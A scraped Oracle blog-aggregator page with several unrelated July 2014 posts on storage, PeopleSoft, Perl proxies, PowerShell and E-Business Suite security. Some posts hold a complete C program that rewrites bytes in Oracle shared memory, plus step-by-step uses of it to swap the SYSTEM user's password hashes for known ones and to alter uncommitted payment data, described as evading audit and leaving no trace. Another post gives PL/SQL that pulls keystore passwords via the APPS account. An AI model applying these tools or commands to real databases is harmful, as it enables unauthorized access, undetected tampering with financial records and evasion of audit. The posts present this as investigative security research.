Skip navigation.

Feed aggregator

EMC XtremIO – The Full-Featured All-Flash Array. Interested In Oracle Performance? See The Whitepaper.

Kevin Closson - Fri, 2014-07-11 16:32

NOTE: There’s a link to the full article at the end of this post.

I recently submitted a manuscript to the EMC XtremIO Business Unit covering some compelling lab results from testing I concluded earlier this year. I hope you’ll find the paper interesting.

There is a link to the full paper at the bottom of this block post. I’ve pasted the executive summary here:

Executive Summary

Physical I/O patterns generated by Oracle Database workloads are well understood. The predictable nature of these I/O characteristics have historically enabled platform vendors to implement widely varying I/O acceleration technologies including prefetching, coalescing transfers, tiering, caching and even I/O elimination. However, the key presumption central to all of these acceleration technologies is that there is an identifiable active data set. While it is true that Oracle Database workloads generally settle on an active data set, the active data set for a workload is seldom static—it tends to move based on easily understood factors such as data aging or business workflow (e.g., “month-end processing”) and even the data source itself. Identifying the current active data set and keeping up with movement of the active data set is complex and time consuming due to variability in workloads, workload types, and number of workloads. Storage administrators constantly chase the performance hotspots caused by the active dataset.

All-Flash Arrays (AFAs) can completely eliminate the need to identify the active dataset because of the ability of flash to service any part of a larger data set equally. But not all AFAs are created equal.

Even though numerous AFAs have come to market, obtaining the best performance required by databases is challenging. The challenge isn’t just limited to performance. Modern storage arrays offer a wide variety of features such as deduplication, snapshots, clones, thin provisioning, and replication. These features are built on top of the underlying disk management engine, and are based on the same rules and limitations favoring sequential I/O. Simply substituting flash for hard drives won’t break these features, but neither will it enhance them.

EMC has developed a new class of enterprise data storage system, XtremIO flash array, which is based entirely on flash media. XtremIO’s approach was not simply to substitute flash in an existing storage controller design or software stack, but rather to engineer an entirely new array from the ground-up to unlock flash’s full performance potential and deliver array-based capabilities that are unprecidented in the context of current storage systems.

This paper will help the reader understand Oracle Database performance bottlenecks and how XtremIO AFAs can help address such bottlenecks with its unique capability to deal with constant variance in the IO profile and load levels. We demonstrate that it takes a highly flash-optimized architecture to ensure the best Oracle Database user experience. Please read more:  Link to full paper from emc.com.


Filed under: All Flash Array, Flash Storage for Databases, oracle, Oracle I/O Performance, Oracle performance, Oracle Performnce Monitoring, Oracle SAN Topics, Oracle Storage Related Problems

Best of OTN - Week of July 6th

OTN TechBlog - Fri, 2014-07-11 11:13

Virtual Technology Summit - Content is now OnDemand!

In this four track virtual event attendees had the opportunity to learn firsthand from Oracle ACEs, Java Champions, and Oracle product experts, as they shared their insight and expertise on Java, systems, database and middleware. A replay of the sessions is now available for your viewing.

Architect Community

In addition to interviews with tech experts and community leaders, the OTN ArchBeat YouTube Channel also features technical videos, most pulled from various OTN online technical events. The following are the three most popular of those tech videos for the past seven days.

Debugging and Logging for Oracle ADF Applications
We're only human. Regardless how much work Oracle ADF does for us, or how powerful the JDeveloper IDE is, the inescapable truth is that as developers we will still make mistakes and introduce bugs into our ADF applications. In this video Oracle ADF Product Manager Chris Muir explores the sophisticated debugging tooling JDeveloper provides.

Developer Preview: Oracle WebLogic 12.1.3
Oracle WebLogic 12.1.3 includes some exciting developer-centric enhancements. IN this video Steve Button focuses on some of the more interesting updates around Java EE 7 features and examines how they will affect your development process.

Best Practices in Oracle ADF Development
In this video Frank Nimphius presents a brown-bag of ideas, hints and best practices that will help you to build better ADF applications.

Friday Funny
"I always wanted to be somebody, but now I realize I should have been more specific." - Lily Tomlin

Java Community 

Codename One & Java Code Geeks are giving away free JavaOne Tickets (worth $3,300)! Read More!

@Java RT @JDeveloper: Running Oracle ADF application High availability (HA)

Tech Article: Leap Motion and JavaFX

Database Community

OTN DBA/DEV Watercooler Blog - Database Application Development VM--Get It Now

Oracle DB Dev FaceBook Posts -

Systems Community

New Tech Article - Playing with ZFS Shadow Migration

New - Hangout: Which Virtualization Should I Use for What? with Brian Bream


Oracle-PeopleSoft is pleased to announce the general availability of PeopleTools 8.54

PeopleSoft Technology Blog - Fri, 2014-07-11 10:51
PeopleTools is proud to announce the release of PeopleTools 8.54.  This is a landmark release for PeopleSoft, one that offers remarkable advances to our applications and our customers.  We are particularly excited about the new PeopleSoft Fluid User Experience.  With this, our applications will offer a UI that is simple and intuitive, yet highly productive and that can be used on different devices from laptops to tablets and smart phones. 
We’ve also made important improvements in reporting and analytics, life-cycle management, security, integration technology, platforms and infrastructure, and accessibility.

To get the details about everything this wonderful new release has to offer, visit these sites:                  + Release Notes                 + Release Value Proposition                 + Cumulative Feature Overview Tool                 + Installation Guides                 + Certification Table                 + Browser Compatibility Guide                 + Licensing Notes Today, PeopleTools 8.54 is Generally Available for new installations.  Customers that want to upgrade to 8.54 from earlier releases will be able to upgrade in the near future when the 02 patch is available.  
Many of our customers have shown interest in Fluid and have asked us the best way to get productive quickly.  Our answer is to use the working examples they will find in the upcoming PSFT 9.2 application images.

E-Business Suite Applications Technology Group (ATG) - WebCast

Chris Warticki - Fri, 2014-07-11 10:20

Thursday July 17, 2014 at 18:00 UK / 10:00 PST / 11:00 MST / 13:00 EST

EBS REPORTS & PRINTING TROUBLESHOOTING

  • Analyzer: E-Business Reports & Printing
  • E-Business Reports Analysis
  • Recommended Reports Patching
  • Reports Profile Options
  • E-Business Printing Analysis
  • Recommended Printing Patching
  • Printer Profile Options
  • Best Practices

Details & Registration : Note 1681612.1

If you have any question about the schedules or if you have a suggestion for an Advisor Webcast to be planned in future, please send an E-Mail to Ruediger Ziegler.

Oracle users may require remote database management

Chris Foot - Fri, 2014-07-11 10:01

A reputed professional recently discovered a bug in one of Oracle's key security implementations, which may prompt some of its customers to seek active database monitoring solutions. 

A good start, but needs work 
According to Dark Reading, David Litchfield, one of the world's most well-recognized database protection experts, recently discovered a couple of faults in Oracle's redaction feature for its 12c servers. The defensive measure allows database administrators to mask sensitive information from malicious figures.

Although Litchfield regarded the feature as a good deployment, he asserted that a highly skilled hacker would be capable of bypassing the function. He noted that employing a type of Web-based SQL injection is a feasible way for an unauthorized party to gain access to information. Litchfield is expected to demonstrate this technique among others at Black Hat USA in Las Vegas next month. 

"To be fair, it's a good step in the right direction," said Litchfield, as quoted by the source. "Even if a patch isn't available from Oracle, it's going to protect you in 80 percent of the cases. No one really know how to bypass it at this point."

Constant surveillance
Although Oracle is working to mitigate this problem, enterprises need to wonder what's going to protect them from the other 20 percent of instances. Having a staff of remote database support professionals actively monitor all server activity is arguably the most secure option available. 

Specifically, Oracle customers require assistance from those possessing the wherewithal to defend databases from SQL injection attacks. Network World outlined a few situations in which this invasive technique has caused harrowing experiences for retailers:

  • In the winter of 2007, malware was inserted into Heartland Payment Systems' transaction processing system, resulting in 130 million stolen card numbers. 
  • In early November 2007, Hannaford Brothers sustained a malicious software attack that led to the theft of 4.2 million card access codes.
  • Between January 2011 and March 2012, a series of SQL injection endeavors against Global Payment Systems incited $92.7 million in losses. 

Take the simple steps 
Network World acknowledged the importance of treating routine processes as critical features. For example, forgetting to close a database after testing the system for vulnerabilities is negligence that can't be afforded to transpire. 

In addition, it's imperative that enterprises understand the mapping of their database architectures. This protocol can be realized when organizations employ consistent surveillance of all activity, allowing professionals to see which channels are the most active and what kind of data is flowing through them. 

The post Oracle users may require remote database management appeared first on Remote DBA Experts.

A Ringleader Proxy for Sporadically-Used Web Applications

Pythian Group - Fri, 2014-07-11 08:46

As you might already know, I come up with my fair share of toy web applications.

Once created, I typically throw them on my server for a few weeks but, as the resources of good ol’ Gilgamesh are limited, they eventually have to be turned off to make room for the next wave of shiny new toys. Which is a darn shame, as some of them can be useful from time to time. Sure, running all webapps all the time would be murder for the machine, but there should be a way to only fire up the application when it’s needed.

Of course there’s already a way of doing just that. You might have heard of it: it’s called CGI. And while it’s perfectly possible to run PSGI applications under CGI, it’s also… not quite perfect. The principal problem is that since there is no persistence at all between requests (of course, with the help of mod_perl there could be persistence, but that would defeat the purpose), so it’s not exactly snappy. Although, to be fair, it’d probably be still fast enough for most small applications. But still, it feels clunky. Plus, I’m just plain afraid that if I revert to using CGI, Sawyer will burst out of the wall like a vengeful Kool-Aid Man and throttle the life out of me. He probably wouldn’t, but I prefer not to take any chances.

So I don’t want single executions and I don’t want perpetual running. What I’d really want is something in-between. I’d like the applications to be disabled by default, but if a request comes along, to be awaken and ran for as long as there is traffic. And only once the traffic has abated for a reasonable amount of time do I want the application to be turned off once more.

The good news is that it seems that Apache’s mod_fastcgi can fire dynamic applications upon first request. If that’s the case, then the waking-up part of the job comes for free, and the shutting down is merely a question of periodically monitoring the logs and killing processes when inactivity is detected.

The bad news is that I only heard that after I was already halfway done shaving that yak my own way. So instead of cruelly dropping the poor creature right there and then, abandoning it with a punk-like half-shave, I decided to go all the way and see how a Perl alternative would look.

It’s all about the proxy

My first instinct was to go with Dancer (natch). But a quick survey of the tools available revealed something even more finely tuned to the task at hand: HTTP::Proxy. That module does exactly what it says on the tin: it proxies http requests, and allows you to fiddle with the requests and responses as they fly back and forth.

Since I own my domain, all my applications run on their own sub-domain name. With that setting, it’s quite easy to have all my sub-domains point to the port running that proxy and have the waking-up-if-required and dispatch to the real application done as the request comes in.


use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;

my $proxy = HTTP::Proxy->new( port => 3000 );

my $wait_time = 5;
my $shutdown_delay = 10;

my %services = (
    'foo.babyl.ca' => $foo_config,
    'bar.babyl.ca' => $bar_config,

);

$proxy->push_filter( request => 
    HTTP::Proxy::HeaderFilter::simple->new( sub {

            my( $self, $headers, $request ) = @_;

            my $uri = $request->uri;
            my $host = $uri->host;

            my $service = $services{ $host } or die;

            $uri->host( 'localhost' );
            $uri->port( $service->port );

            unless ( $service->is_running ) {
                $service->start;
                sleep 1;
            }

            # store the latest access time
            $service->store_access_time(time);
    }),
);

$proxy->start;

With this, we already have the core of our application, and only need a few more pieces, and details to iron out.

Enter Sandman

An important one is how to detect if an application is running, and when it goes inactive. For that I went for a simple mechanism. Using CHI to provides me with a persistent and central place to keep information for my application. As soon as an application comes up, I store the time of the current request in its cache, and each time a new request comes in, I update the cache with the new time. That way, the existence of the cache tells me if the application is running, and knowing if the application should go dormant is just a question of seeing if the last access time is old enough.


use CHI;

# not a good cache driver for the real system
# but for testing it'll do
my $chi = CHI->new(
    driver => 'File',
    root_dir => 'cache',
);

...;

# when checking if the host is running
unless ( $chi->get($host) ) {
    $service->start;
    sleep 1;
}

...;

# and storing the access time becomes
$chi->set( $host => time );

# to check periodically, we fork a sub-process 
# and we simply endlessly sleep, check, then sleep
# some more

sub start_sandman {
    return if fork;

    while( sleep $shutdown_delay ) {
        check_activity_for( $_ ) for keys %services;
    }
}

sub check_activity_for {
    my $s = shift;

    my $time = $chi->get($s);

    # no cache? assume not running
    return if !$time or time - $time <= $shutdown_delay;

    $services{$s}->stop;

    $chi->remove($s);
}

Minding the applications

The final remaining big piece of the puzzle is how to manage the launching and shutting down of the applications. We could do it in a variety of ways, beginning by using plain system calls. Instead, I decided to leverage the service manager Ubic. With the help of Ubic::Service::Plack, setting a PSGI application is as straightforward as one could wish for:


use Ubic::Service::Plack;

Ubic::Service::Plack->new({
    server => "FCGI",
    server_args => { listen => "/tmp/foo_app.sock",
                     nproc  => 5 },
    app      => "/home/web/apps/foo/bin/app.pl",
    port     => 4444,
});

Once the service is defined, it can be started/stopped from the CLI. And, which is more interesting for us, straight from Perl-land:


use Ubic;

my %services = (
    # sub-domain      # ubic service name
    'foo.babyl.ca' => 'webapp.foo',
    'bar.babyl.ca' => 'webapp.bar',
);

$_ = Ubic->service($_) for values %services;

# and then to start a service
$services{'foo.babyl.ca'}->start;

# or to stop it
$services{'foo.babyl.ca'}->stop;

# other goodies can be gleaned too, like the port...
$services{'foo.babyl.ca'}->port;

Now all together

And that’s all we need to get our ringleader going. Putting it all together, and tidying it up a little bit, we get:


use 5.20.0;

use experimental 'postderef';

use HTTP::Proxy;
use HTTP::Proxy::HeaderFilter::simple;

use Ubic;

use CHI;

my $proxy = HTTP::Proxy->new( port => 3000 );

my $wait_time      = 5;
my $shutdown_delay = 10;

my $ubic_directory = '/Users/champoux/ubic';

my %services = (
    'foo.babyl.ca' => 'webapp.foo',
);

$_ = Ubic->service($_) for values %services;

# not a good cache driver for the real system
# but for testing it'll do
my $chi = CHI->new(
    driver => 'File',
    root_dir => 'cache',
);


$proxy->push_filter( request => HTTP::Proxy::HeaderFilter::simple->new(sub{
            my( $self, $headers, $request ) = @_;
            my $uri = $request->uri;
            my $host = $uri->host;

            my $service = $services{ $host } or die;

            $uri->host( 'localhost' );
            $uri->port( $service->port );

            unless ( $chi->get($host) ) {
                $service->start;
                sleep 1;
            }

            # always store the latest access time
            $chi->set( $host => time );
    }),
);

start_sandman();

$proxy->start;

sub start_sandman {
    return if fork;

    while( sleep $shutdown_delay ) {
        check_activity_for( $_ ) for keys %services;
    }
}

sub check_activity_for {
    my $service = shift;

    my $time = $chi->get($service);

    # no cache? assume not running
    return if !$time or time - $time <= $shutdown_delay;

    $services{$service}->stop;

    $chi->remove($service);
}

It’s not yet completed. The configuration should go in a YAML file, we should have some more safeguards in case the cache and the real state of the application aren’t in sync, and the script itself should be started by Unic too to make everything Circle-of-Life-perfect. Buuuuut as it is, I’d say it’s already a decent start.

Categories: DBA Blogs

Log Buffer #379, A Carnival of the Vanities for DBAs

Pythian Group - Fri, 2014-07-11 07:34

During this summer time in Northern hemisphere, and winter time in Southern hemisphere, the bloggers are solving key problems either by sitting besides the bonfire, or enjoying that bbq. This Log Buffer Edition shares both of these with them.


Oracle:

3 Key Problems To Solve If You Want A Big Data Management System

OpenWorld Update: Content Catalog NOW LIVE!

Interested in Showcasing your Solutions around Oracle Technologies at Oracle OpenWorld?

GoldenGate and Oracle Data Integrator – A Perfect Match in 12c… Part 4: Start Journalizing!

What You Need to Know about OBIEE 11.1.1.7

SQL Server:

Interoperability between Microsoft and SOA Suite 12c

This article describes a way to speed up various file operations performed by SQL Server.

The Mindset of the Enterprise DBA: Creating and Applying Standards to Our Work

Stairway to T-SQL: Beyond The Basics Level 8: Coding Shortcuts using += and -= Operators

Microsoft Azure Diagnostics Part 2: Basic Configuration of Azure Cloud Service Diagnostics

MySQL:

MySQL Enterprise Monitor 2.3.18 has been released

Harnessing the power of master/slave clusters to operate data-driven businesses on MySQL

NoSQL Now! Conference – coming to San Jose, CA this August!

Manually Switch Slaves to new Masters in mySQL 5.6 (XTRADB 5.6)

How to Configure ClusterControl to run on nginx

Categories: DBA Blogs

powershell goodies for Active Directory

Laurent Schneider - Fri, 2014-07-11 07:04

What are my groups?


PS> Get-ADPrincipalGroupMembership lsc |
      select -ExpandProperty "name"
Domain Users
oracle
sybase

Who is member of that group ?

PS> Get-ADGroupMember oracle| 
      select -ExpandProperty "name"
Laurent Schneider
Alfred E. Newmann
Scott Tiger

What is my phone number ?

PS> (get-aduser lsc -property MobilePhone).MobilePhone
+41 792134020

This works like a charm on your Windows 7 PC.
1) Download and install Remote Server Administration Tools
2) Activate the windows feature under control panel program called “Active Directory Module for Powershell”
3) PS> Import-Module ActiveDirectory
Read the procedure there : how to add active directory module in powershell in windows 7

Oracle E-Business Suite Security - Signed JAR Files - What Should You Do – Part II

In our blog post on 16-May, we provided guidance on Java JAR signing for the E-Business Suite. We are continuing our research on E-Business Suite Java JAR signing and will be presenting it in a forthcoming educational webinar. Until then we would like to share a few items of importance based on recent client conversations -

  • Apply latest patches - The latest patches for Oracle E-Business Suite JAR signing are noted in 1591073.1. There are separate patches for 11i, 12.0.x, 12.1.x and 12.2.x. To fully take advantage of the security features provided by signing JAR files the latest patches need to be applied.
  • Do not use the default Keystore passwords - Before you sign your JAR files change the keystore passwords.  The initial instructions in 1591073.1 note that a possible first step before you start the JAR signing process is to change the keystore passwords. Integrigy recommends that changing the keystore passwords should be mandatory. The default Oracle passwords should not be used. Follow the instructions in Appendix A of 1591073.1 to change both keystore passwords. Each password must be at least six (6) characters in length. If you have already signed your JAR files, after changing the keystore passwords you must create a new keystore and redo all the steps in 1591073.1 to create a new signed certificate (it is much easier to change the keystore passwords BEFORE you sign your JAR files).
  • The keystore passwords are available to anyone with the APPS password - Using the code below anyone with the APPS password can extract the keystore passwords. Ensure that this fact is allowed for in your polices for segregation of duties, keystore management and certificate security.

SQL> set serveroutput on
declare 
spass varchar2(30); 
kpass varchar2(30); 
begin 
ad_jar.get_jripasswords(spass, kpass); 
dbms_output.put_line(spass); 
dbms_output.put_line(kpass); 
end; 
/

This will output the passwords in the following order:

store password (spass) 
key password (kpass)

If you have questions, please contact us at info@integrigy.com

References Tags: Security Strategy and StandardsOracle E-Business Suite
Categories: APPS Blogs, Security Blogs

How to directly update Oracle password hashes in SGA while avoiding DB security and audit.

ContractOracle - Fri, 2014-07-11 03:22
My previous blog posts showed it was possible to directly update table data in the SGA and bypass audit and database level security.    The following example expands on that to show how to modify password hashes in the SGA to allow connection to the database without changing passwords in datafiles.

Basically we updated the password hashes in SGA to known values for user SYSTEM using the following 3 commands :-

./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC

./sga_data_replace 5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0 319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179


./sga_data_replace 076F596A5F2AD47593407D24734BF6C0 E30710ABA2D3492243C239A8854B4E21


Output from the DB side is as follows.

First generate a set of password hashes for user SYSTEM with password "badguy".

CDB$ROOT@ORCL> alter user system identified by badguy;

User altered.


CDB$ROOT@ORCL> select password, spare4 from user$ where name = 'SYSTEM';

PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
E235D5FC5165F1EC
S:319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179;H:E30710ABA2D3492243C239A8854B4E21

Next find the password hashes that need to be replaced.  Below we use sqlplus to extract them from user$, but we could also read them directly from datafile or SGA without logging into the database.

CDB$ROOT@ORCL> alter user system identified by goodguy;

User altered.

CDB$ROOT@ORCL> select password, spare4 from user$ where name = 'SYSTEM';

PASSWORD
--------------------------------------------------------------------------------
SPARE4
--------------------------------------------------------------------------------
09F3A178C7F6F650
S:5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0;H:076F596A5F2AD47593407D24734BF6C0

Demonstrate login using the "goodguy" password.

CDB$ROOT@ORCL> connect system/goodguy;
Connected.

Now replace the password hashes in SGA with the known password hashes for password "badguy".

./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC

./sga_data_replace 5550E8A22A9137A65F53EE87DF92415016E8CAFAFAFCE861CEF6D6403BC0 319C0B95B6F463C53B5375556C34B54A80C346529CBBBB68268F361DC179


./sga_data_replace 076F596A5F2AD47593407D24734BF6C0 E30710ABA2D3492243C239A8854B4E21


And test to confirm that we can now login using password "badguy".

CDB$ROOT@ORCL> connect system/badguy;
Connected.

This shows that the password hash values in SGA were updated, and the database did not crash, or detect the data change, and allowed direct login with the modified hashes.  Since the change was only made to data in memory, there is no audit record, and no evidence in datafiles (unless a transaction updates the modified blocks and commits them back to disk).  It would also be possible to back-out the changes made to SGA to the original hash values to cover up completely.
Sample output from the first SGA update command above follows :-
[oracle@localhost shared_memory]$ ./sga_data_replace 09F3A178C7F6F650 E235D5FC5165F1EC


WARNING WARNING WARNING

This program may crash or corrupt your Oracle database!!! It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. Anyone may copy or modify the code provided.

USAGE :- sga_data_replace searchstring replacestring

Number of input parameters seem correct.Length of search parameter 09F3A178C7F6F650 matches replace parameter E235D5FC5165F1ECThis program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.SEARCH FOR   :- 09F3A178C7F6F650REPLACE WITH :- E235D5FC5165F1ECEnter Y to continue :- Y/dev/shm/ora_orcl_20381697_76 replace string at 2099160replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with C/dev/shm/ora_orcl_20381697_76 replace string at 2271972replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with C/dev/shm/ora_orcl_20381697_76 replace string at 2320344replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with C/dev/shm/ora_orcl_20381697_75 replace string at 994020replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with C/dev/shm/ora_orcl_20381697_68 replace string at 2624228replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with C/dev/shm/ora_orcl_20381697_37 replace string at 450614replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with C/dev/shm/ora_orcl_20381697_35 replace string at 695886replace 0 with Ereplace 9 with 2replace F with 3replace 3 with 5replace A with Dreplace 1 with 5replace 7 with Freplace 8 with Creplace C with 5replace 7 with 1replace F with 6replace 6 with 5replace F with Freplace 6 with 1replace 5 with Ereplace 0 with CError: File is empty, nothing to do
Categories: DBA Blogs

C program to find/replace data in Oracle SGA.

ContractOracle - Fri, 2014-07-11 02:49
Following is a proof of concept program to change data in Oracle shared memory mapped to /dev/shm
It uses shm_open and mmap to cleanly open and close the existing shared files, search for a string, and replace it.   I have tested it on Linux against Oracle 12C databases, changing data in SGA without crashing the database, but it should also work against 11g.  It won't work against Oracle versions prior to 11g as they manage shared memory in a different manner (Sample program here ).

I am happy for anyone to copy and/or modify this code, but be aware that this program has the potential to crash or corrupt any database on the server where it is run.  Sample output can be found here.

To compile it on Linux :-

gcc sga_data_replace.c -o sga_data_replace -lrt

Note that this blog may strip out some symbols, so if you have issues compiling please check syntax (especially in the include section).

[oracle@localhost shared_memory]$ more sga_data_replace.c
#include stdio.h
#include stdlib.h
#include ctype.h
#include dirent.h
#include string.h
#include unistd.h
#include sys/file.h
#include sys/mman.h

replace_sga(char search_string[],char replace_string[])
{
  DIR           *d;
  struct dirent *dir;
  char *data;
  char *memname;
  int i,j;
  int search_length = strlen(search_string);
  int replace_length = strlen(replace_string);
  d = opendir("/dev/shm");

  if (d)
  {
    while ((dir = readdir(d)) != NULL)
    {
      memname = dir->d_name;
      if (strstr(memname,"ora"))
      {
        //printf("Opening %s\n",memname);
        int fd = shm_open(memname, O_RDWR, 0660);

        if (fd == -1)
        {
          perror("Error opening file for reading");
          exit(EXIT_FAILURE);
        }

        struct stat fileInfo = {0};

        if (fstat(fd, &fileInfo) == -1)
        {
          perror("Error getting the file size");
          exit(EXIT_FAILURE);
        }

        if (fileInfo.st_size == 0)
        {
          fprintf(stderr, "Error: File is empty, nothing to do\n");
          exit(EXIT_FAILURE);
        }

        data = mmap(0, fileInfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

        if (data == MAP_FAILED)
        {
          close(fd);
          perror("Error mmapping the file");
          exit(EXIT_FAILURE);
        }

        for (i = 0; i < fileInfo.st_size; i++)
        {
          for (j = 0; j < replace_length; j++)
          {
            if (data[i+j] != search_string[j])
              break;
          }

          if (j==replace_length)
          {
            printf("/dev/shm/%s replace string at %d\n",memname,i);
            for (j = 0; j < replace_length; j++)
            {
              printf("replace %c with %c\n",data[i+j],replace_string[j]);
              data[i+j] = replace_string[j];                  
            }
          }
        }
        close(fd);
      }
    }
  }
  closedir(d);
}

int main(int argc, char *argv[])
{
printf("\n\n\nWARNING WARNING WARNING\n\n\n");
printf("This program may crash or corrupt your Oracle database!!! ");
printf("It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. ");
printf("Anyone may copy or modify the code provided.\n\n\n");
printf("USAGE :- sga_data_replace \n\n\n");

  if (argc == 3 && strlen(argv[1]) == strlen(argv[2]))
  {
    printf("Number of input parameters seem correct.\n");
    printf("Length of search parameter %s matches replace parameter %s\n",argv[1],argv[2]);
    printf("This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.\n");
    printf("SEARCH FOR   :- %s\n",argv[1]);
    printf("REPLACE WITH :- %s\n",argv[2]);
    printf("Enter Y to continue :- ");

    char    user_input;
    scanf("  %c", &user_input );
    user_input = toupper( user_input );
    if(user_input == 'Y')
    {
      replace_sga(argv[1],argv[2]);
    }
  }
  else
  {
    printf("The program expects two parameters the same number of characters.\n");
  }
  return 0;
}

Categories: DBA Blogs

Sample output from program to update data in Oracle shared memory.

ContractOracle - Fri, 2014-07-11 02:45
Following is an example of updating Oracle data in shared memory.

From the database side we can see that only the data in SGA was changed, and the data on disk remained untouched.  (verified by flushing the buffer cache and forcing a re-read from disk)


CDB$ROOT@ORCL> create table test (text char(6));

Table created.

CDB$ROOT@ORCL> insert into test values ('vendor');

1 row created.

CDB$ROOT@ORCL> commit;

Commit complete.

CDB$ROOT@ORCL> select * from test;

TEXT
------
badguy

CDB$ROOT@ORCL> alter system flush buffer_cache;

System altered.

CDB$ROOT@ORCL> select * from test;

TEXT
------
vendor



Following is sample output from my program to update data in Oracle shared memory.  In this case it connected to every shared memory file in /dev/shm and replaced all strings "vendor" with "badguy".

[oracle@localhost shared_memory]$ ./sga_data_replace vendor badguy



WARNING WARNING WARNING


This program may crash or corrupt your Oracle database!!! It was written purely as an investigative tool and the author does not guarantee it will work, and does not recommend running it against PROD databases. Anyone may copy or modify the code provided.


USAGE :- sga_data_replace searchstring replacestring


Number of input parameters seem correct.
Length of search parameter vendor matches replace parameter badguy
This program will connect to all shared memory segments in /dev/shm belonging to all running databases on the server.
SEARCH FOR   :- vendor
REPLACE WITH :- badguy
Enter Y to continue :- Y
/dev/shm/ora_orcl_20381697_91 replace string at 366592
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_82 replace string at 3238216
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_75 replace string at 2230653
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_73 replace string at 1361711
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_73 replace string at 1361718
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
/dev/shm/ora_orcl_20381697_62 replace string at 1081334
replace v with b
replace e with a
replace n with d
replace d with g
replace o with u
replace r with y
Error: File is empty, nothing to do

Categories: DBA Blogs

Direct update of Oracle data in SGA to avoid audit.

ContractOracle - Thu, 2014-07-10 04:42
Vendors sell some rather expensive software for auditing Oracle database, and coding applications to ensure an audit trail, but the truth is that anyone logged into the database server as the owner of the database can directly modify data in datafiles, or even in memory.

I previously demonstrated using BBED to update blocks in datafiles, but it was necessary to update block checksums and flush the buffer cache to activate the changes.  Modifying data in SGA directly is easier, and leaves less evidence.  
It seems that once data is read into the SGA, Oracle does not use checksums to look for corruption, and it is also possible to modify uncommitted data.  I have written a simple C program to update SGA directly.
Here is one example demonstrating how even uncommitted data can be updated in the SGA.  The same thing can be done to any data in the SGA, including password hashes, credit card numbers, email addresses etc.
PDB1@ORCL> create table payment_batch (payee char(6));
Table created.
PDB1@ORCL> insert into payment_batch values ('vendor');
1 row created.
PDB1@ORCL> select * from payment_batch;
PAYEE------badguy
PDB1@ORCL> commit;
Commit complete.
PDB1@ORCL> alter system flush buffer_cache;
System altered.
PDB1@ORCL> select * from payment_batch;
PAYEE------badguy
You can see that in the middle of this transaction it was possible to modify the in-flight data stored in SGA, which was then committed to disk.  This was done via a direct update to SGA records on the DB server.
Categories: DBA Blogs

Introducing the Analytic Keep Clause for Effective-Dated/Sequence Queries in PeopleSoft

David Kurtz - Wed, 2014-07-09 12:46
Those of us who work with PeopleSoft, and especially the HCM product, are all too familiar with the concept of effect-dated data, and the need to find data that was effective at a particular date.  PeopleSoft products have always made extensive use of correlated sub-queries to determine the required rows from an effective-dated record.

The JOB record is a the heart of HCM. It is both effective-dated and effective sequenced. I will use it for the demonstrations in this article. I am going to suggest an alternative, although Oracle-specific, SQL construction.

 Let's start by looking at the job data for an employee in the demo database. Employee KF0018 has 17 rows of data two concurrent jobs.  The question I am going to ask is "What was the annual salary for this employee on 11 February 1995?".  Therefore, I am interested in the rows marked below with the asterisks. 
column annual_rt format 999,999
SELECT emplid, empl_rcd, effdt, effseq, action, deptid, currency_cd, annual_rt
FROM ps_job j
WHERE j.emplid = 'KF0018'
ORDER BY 1,2,3,4
/

EMPLID        EMPL_RCD EFFDT         EFFSEQ ACT DEPTID     CUR ANNUAL_RT
----------- ---------- --------- ---------- --- ---------- --- ---------
KF0018 0 12-JUN-83 0 HIR 13000 FRF 120,000
KF0018 0 01-JAN-84 0 PAY 13000 FRF 123,600
KF0018 0 01-JAN-85 0 PAY 13000 FRF 127,308
KF0018 0 01-JAN-86 0 PAY 13000 FRF 131,764
KF0018 0 01-JAN-87 0 PAY 13000 FRF 136,376
KF0018 0 01-JAN-88 0 PAY 13000 FRF 140,467
KF0018 0 01-JAN-89 0 PAY 13000 FRF 147,490
KF0018 0 22-JAN-95 0 PRO 13000 FRF 147,490
KF0018 0 22-JAN-95 1 PAY 13000 FRF 294,239 *
